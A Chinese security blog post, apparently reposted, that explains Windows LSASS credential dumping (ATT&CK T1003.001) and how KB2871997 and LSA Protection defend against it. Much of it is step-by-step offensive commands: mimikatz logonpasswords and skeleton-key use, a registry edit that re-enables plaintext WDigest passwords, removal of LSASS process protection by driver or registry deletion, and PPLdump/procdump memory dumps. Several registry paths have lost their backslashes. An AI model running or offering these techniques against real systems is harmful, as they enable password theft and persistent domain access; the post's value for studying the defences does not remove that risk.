浅析 T1003.001—KB2871997&LSA Protection

admin 2021年8月6日08:05:05评论66 views字数 3144阅读10分28秒阅读模式

目录:

  • Debug Privilege 

  • 明文凭证保护 & PPL技术

    • KB2871997

    • LSA Protection

  • LSA Protection 验证及绕过姿势

    • mimikatz + minidrv.sys

    • 删除RunAsPPL注册表项&重启

    • Userland 漏洞漏洞利用 (绕过PPL)

      • PPLdump



mimikatz Debug Privilege

本文测试环境

浅析 T1003.001—KB2871997&LSA Protection

QAQ:

  • 是否拥有debug权限

# Debug Privilege进行dump凭证时需要获取调试权限

浅析 T1003.001—KB2871997&LSA Protection

原因:

浅析 T1003.001—KB2871997&LSA Protection

详见:  http://msdn.miscrosoft.com/library/windows/hardware/ff541528.aspx

原理:

       调试权限允许用户调试他们原本无权访问的进程。例如,以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。


明文凭证保护&PPL技术

QAQ:

  • 无法dump明文凭证

mimikatz # privilege::debug (提升权限)Privilege '20' OKmimikatz # sekurlsa::logonpasswords (抓取明文密码和 hash) 


浅析 T1003.001—KB2871997&LSA Protection

可能原因:

  • KB2871997

  • LSA Protection


KB2871997

浅析 T1003.001—KB2871997&LSA Protection

详见:https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/


原理:

      更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz均无法获得系统的明文口令。

      但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。


所支持的系统:

  • Windows 7

  • Windows 8

  • Windows 8.1

  • Windows Server 2008

  • Windows Server 2012

  • Windows Server 2012R 2


但是这里测试发现并非补丁的问题

图1

浅析 T1003.001—KB2871997&LSA Protection

图2(这才是原因-根本就没有这个键值)

reg query HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential

浅析 T1003.001—KB2871997&LSA Protection

浅析 T1003.001—KB2871997&LSA Protection

创建一个

# 关闭Wdigest Authreg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
# 开启Wdigest Authreg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f               

图1-成功添加并设键值为 0

浅析 T1003.001—KB2871997&LSA Protection

图2

浅析 T1003.001—KB2871997&LSA Protection

同样的方式,将UseLogonCredential的值设为1

# 开启Wdigest Authreg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

然后注销当前用户,用户再次登录后使用mimikatz即可导出明文凭证。

如图:

浅析 T1003.001—KB2871997&LSA Protection


LSA 保护

浅析 T1003.001—KB2871997&LSA Protection

详见:https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection


原理:

       如果启用了 LSA 保护,则无法调试自定义 LSA 插件。如果调试程序是受保护的进程,则不能将调试程序附加它。一般情况下,不支持调试正在运行的受保护进程。

      此功能基于PPL技术,它是一种纵深防御的安全功能,旨在“防止非管理员非PPL进程通过打开进程之类的函数篡改PPL进程的代码和数据”。


适用系统

  • Windows Server (Semi-Annual Channel),

  • Windows Server 2012 R2

  • Windows Server 2016


LSA 保

  • 打开注册表编辑器 (RegEdit.exe),然后导航到位于以下位置的注册表项:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa
  • 将注册表项的值设置为:

    • "RunAsPPL"=dword:00000001

  • 重新启动计算



LSA Protection 验证及绕过姿势

测试如下:

0.测试环境

  • winver

    浅析 T1003.001—KB2871997&LSA Protection

  • 可dump明文凭证

    • UseLogonCredential = 1


1. 配置 LSA Protection

注册表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa


浅析 T1003.001—KB2871997&LSA Protection

新建-DWORD(32)值

名称: RunAsPPL  值:00000001


浅析 T1003.001—KB2871997&LSA Protection

然后重启系统。

2. 成功阻止了与LSASS的交互

mimikatz # privilege::debug (提升权限)Privilege '20' OKmimikatz # sekurlsa::logonpasswordsmimikatz # misc::skeleton

浅析 T1003.001—KB2871997&LSA Protection


3.绕过  LSA Protection

  • 使用驱动程序绕过

    • minikatz + minidrv.sys

    • PPLKiller

  • 删除RunAsPPL注册表项&重启

  • 修改EPROCESS内核结构,在LSASS进程禁用PPL标志

  • Userland 漏洞漏洞利用 (绕过PPL)

    • PPLdump

  • ......

minikatz + minidrv.sys

privilege::debug!+!processprotect /process:lsass.exe /removemisc::skeleton

删除RunAsPPL注册表项&重启

reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa /v RunAsPPLreg delete HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa /v RunAsPPL

浅析 T1003.001—KB2871997&LSA Protection


Userland 漏洞漏洞利用 (绕过PPL)

procdump64 -ma  lsass lsass.dmp

浅析 T1003.001—KB2871997&LSA Protection

PPLdump64.exe -v lsass lsass.dmp

浅析 T1003.001—KB2871997&LSA Protection

mimikatz # sekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonPasswords full

浅析 T1003.001—KB2871997&LSA Protection

成功bypass lsa protection。


参考及推荐文章:

https://docs.microsoft.com/https://github.com/gentilkiwi/mimikatz/https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/https://www.redcursor.com.au/blog/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10


本文始发于微信公众号(don9sec):浅析 T1003.001—KB2871997&LSA Protection

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月6日08:05:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析 T1003.001—KB2871997&LSA Protectionhttp://cn-sec.com/archives/407087.html

发表评论

匿名网友 填写信息